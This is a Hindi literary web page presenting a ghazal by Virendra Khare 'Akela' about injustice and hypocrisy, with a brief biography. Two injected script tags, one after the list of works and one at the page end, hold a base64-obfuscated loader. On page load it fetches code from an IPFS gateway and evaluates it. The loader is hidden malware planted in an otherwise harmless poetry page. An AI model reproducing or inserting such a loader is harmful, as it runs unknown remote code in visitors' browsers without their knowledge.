सोच की सीमाओं के बाहर मिले -वीरेन्द्र खरे ‘अकेला’

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
सोच की सीमाओं के बाहर मिले -वीरेन्द्र खरे ‘अकेला’
वीरेन्द्र खरे ‘अकेला’
जन्म 18 अगस्त, 1968
जन्म स्थान किशनगढ़, छतरपुर, मध्यप्रदेश
मुख्य रचनाएँ शेष बची चौथाई रात (ग़ज़ल संग्रह), सुबह की दस्तक (ग़ज़ल-गीत संग्रह), अंगारों पर शबनम (ग़ज़ल संग्रह)
इन्हें भी देखें कवि सूची, साहित्यकार सूची
वीरेन्द्र खरे ‘अकेला’ की रचनाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


सोच की सीमाओं के बाहर मिले
प्रश्न थे कुछ और कुछ उत्तर मिले

किसकी हिम्मत खोलता अपनी जुबाँ
उनके आगे सब झुकाए सर मिले

घर बुलाया था बड़े आदर के साथ
लो महाशय ख़ुद नहीं घर पर मिले

बेचने को ख़ुद को तत्पर हैं सभी
जब जिसे, जैसा, जहाँ अवसर मिले

हमको ऐ जनतंत्र तेरे नाम पर
उस्तरे थामे हुए बंदर मिले

हर ख़ुशी ने औपचारिक भेंट की
दर्द सब हमसे बहुत खुलकर मिले

उम्र भर वो पेड़ फल देता रहा
फिर भी दुनिया से उसे पत्थर मिले

ऐ ‘अकेला’ न्याय ज़िन्दा है कहाँ
घर बनाने वाले ही बेघर मिले

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>